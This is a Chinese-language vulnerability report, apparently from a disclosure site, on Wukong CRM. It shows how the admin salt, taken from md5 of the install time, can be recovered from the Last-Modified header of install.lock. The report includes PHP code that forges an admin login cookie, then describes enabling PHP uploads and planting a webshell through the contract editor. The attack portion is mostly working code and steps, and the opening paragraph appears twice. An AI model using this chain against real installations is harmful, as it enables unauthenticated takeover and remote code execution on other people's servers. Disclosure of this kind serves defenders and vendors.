### 简要描述: 这是一个无需账户的getshell。 此漏洞专为打某人脸,哈哈~ 附带一个判断某某的小技巧,较实用。 ### 详细说明: 悟空CRM大部分功能是需要登录,登录以后的漏洞比较鸡肋,那么我发一个越权,从无任意权限到拿下管理员权限,到getshell。 看到检查权限的类 App/Lib/Behavior/AuthenticateBehavior.class.php: ``` class AuthenticateBehavior extends Behavior { protected $options = array(); public function run(&$params) { $m = MODULE_NAME; $a = ACTION_NAME; $allow = $params['allow']; $permission = $params['permission']; if(!session('?user_id') && intval(cookie('user_id')) != 0 && trim(cookie('name')) != '' && trim(cookie('salt_code')) != ''){ $user = M('user')->where(array('user_id' => intval(cookie('user_id'))))->find(); if (md5(md5($user['user_id'] . $user['name']).$user['salt']) == trim(cookie('salt_code'))) { $d_role = D('RoleView'); $role = $d_role->where('user.user_id = %d', $user['user_id'])->find(); if($user['category_id'] == 1){ session('admin', 1); } session('role_id', $role['role_id']); session('position_id', $role['position_id']); session('role_name', $role['role_name']);...
### 简要描述: 这是一个无需账户的getshell。 此漏洞专为打某人脸,哈哈~ 附带一个判断某某的小技巧,较实用。 ### 详细说明: 悟空CRM大部分功能是需要登录,登录以后的漏洞比较鸡肋,那么我发一个越权,从无任意权限到拿下管理员权限,到getshell。 看到检查权限的类 App/Lib/Behavior/AuthenticateBehavior.class.php: ``` class AuthenticateBehavior extends Behavior { protected $options = array(); public function run(&$params) { $m = MODULE_NAME; $a = ACTION_NAME; $allow = $params['allow']; $permission = $params['permission']; if(!session('?user_id') && intval(cookie('user_id')) != 0 && trim(cookie('name')) != '' && trim(cookie('salt_code')) != ''){ $user = M('user')->where(array('user_id' => intval(cookie('user_id'))))->find(); if (md5(md5($user['user_id'] . $user['name']).$user['salt']) == trim(cookie('salt_code'))) { $d_role = D('RoleView'); $role = $d_role->where('user.user_id = %d', $user['user_id'])->find(); if($user['category_id'] == 1){ session('admin', 1); } session('role_id', $role['role_id']); session('position_id', $role['position_id']); session('role_name', $role['role_name']); session('department_id', $role['department_id']); session('name', $user['name']); session('user_id', $user['user_id']); } } if (session('?admin')) { return true; } if (in_array($a, $permission)) { return true; } elseif (session('?position_id') && session('?role_id')) { ... ``` 看到这里: if (md5(md5($user['user_id'] . $user['name']).$user['salt']) == trim(cookie('salt_code'))) 这里,如果cookie salt_code正确的话,将设置session,可以导致权限的绕过。那么这个if语句,我们看看有哪些值是不知道的。以管理员为例: $user['user_id'] : 已知,为1 $user['name'] : 已知,为admin $user['salt'] : 未知 cookie('salt_code') :已知,为我传入的cookie 那么,实际上这个if语句只有一个参数是未知的,那就是salt。我们看看salt是怎么生成的: /App/Lib/Action/InstallAction.class.php 216行: ``` $salt = substr(md5(time()),0,4); $password = md5(md5(trim($password)) . $salt); $db->query('insert into ' . C('DB_PREFIX') . 'user (role_id, category_id, status, name, password, salt, reg_ip, reg_time) values (1, 1, 1, "'.$name.'", "'.$password.'", "'.$salt.'", "'.get_client_ip().'", '.time().')'); touch(CONF_PATH . "install.lock"); ``` 可见: $salt = substr(md5(time()),0,4); salt只和time()有关的,也就是说,只要知道了安装的时候的时间,就可以知道管理员的salt。 那么,如何知道安装的时间呢? 1.跑,猜测。这个方法也不是完全不可行,但明显不优雅。 2.通过Last-Modified得知 这里2就是我要说的小技巧。 在HTTP协议里,当我们请求一些静态文件的时候,服务器默认会将这个文件的修改时间作为Last-Modified这个头的值返回。 那么我们看到以上代码的最后一行 touch(CONF_PATH . "install.lock"); 这里创建了一个install.lock文件,我们请求一下这个文件看看: [<img src="https://images.seebug.org/upload/201604/061830195ed6a8c19618ef6fe8a38ad8c4f8810e.png" alt="QQ20160406-0@2x.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201604/061830195ed6a8c19618ef6fe8a38ad8c4f8810e.png) 这里果然返回了一个时间,我写了个小脚本,来计算管理员的salt: ``` <?php date_default_timezone_set('UTC'); $time = strtotime('Tue, 05 Apr 2016 03:40:28 GMT'); $salt = substr(md5($time),0,4); echo $salt; ``` 将Last-Modified的值填入strtotime函数,即可计算当时的时间戳,进而计算salt: [<img src="https://images.seebug.org/upload/201604/06183340ad3d827565bbda0aabce594a426f64e6.png" alt="QQ20160406-1@2x.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201604/06183340ad3d827565bbda0aabce594a426f64e6.png) 看看是否计算正确: [<img src="https://images.seebug.org/upload/201604/0618364847fe14516bbeacd610591861626f7f05.png" alt="QQ20160406-2@2x.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201604/0618364847fe14516bbeacd610591861626f7f05.png) 妥妥正确。 我再通过salt生成一个cookie: ``` <?php date_default_timezone_set('UTC'); $time = strtotime('Tue, 05 Apr 2016 03:40:28 GMT'); $salt = substr(md5($time),0,4); echo $salt; echo "\n"; $user_id = 1; $name = 'admin'; $cookie = md5(md5($user_id . $name).$salt); echo "user_id=1; name=admin; salt_code={$cookie};"; echo "\n"; ``` [<img src="https://images.seebug.org/upload/201604/06183745141e700820a92d7d33a2f589633b2ba8.png" alt="QQ20160406-3@2x.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201604/06183745141e700820a92d7d33a2f589633b2ba8.png) 将这个cookie填入HTTP数据包: [<img src="https://images.seebug.org/upload/201604/061840317bf4b945fa38a9876b2bd3e4a88c0f89.png" alt="QQ20160406-4@2x.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201604/061840317bf4b945fa38a9876b2bd3e4a88c0f89.png) 即可作为管理员访问悟空crm。然后,修改上传允许的后缀,加个php即可: [<img src="https://images.seebug.org/upload/201604/06184128873facb3ee4a5602675f3d7efb95e916.png" alt="QQ20160406-5@2x.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201604/06184128873facb3ee4a5602675f3d7efb95e916.png) 来到合同处( **.**.**.**/wukongcrm/index.php?m=contract&a=add ),在编辑器里上传shell: [<img src="https://images.seebug.org/upload/201604/0618425505510a4a0ec93ad556857601abec3dbb.png" alt="QQ20160406-6@2x.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201604/0618425505510a4a0ec93ad556857601abec3dbb.png) [<img src="https://images.seebug.org/upload/201604/06184351ec338e974c8a61acf7e5d854e17e7858.png" alt="QQ20160406-7@2x.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201604/06184351ec338e974c8a61acf7e5d854e17e7858.png) 拿下! [<img src="https://images.seebug.org/upload/201604/06184413aa96a645387c7a843387d8df5a2aa911.png" alt="QQ20160406-8@2x.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201604/06184413aa96a645387c7a843387d8df5a2aa911.png) ### 漏洞证明: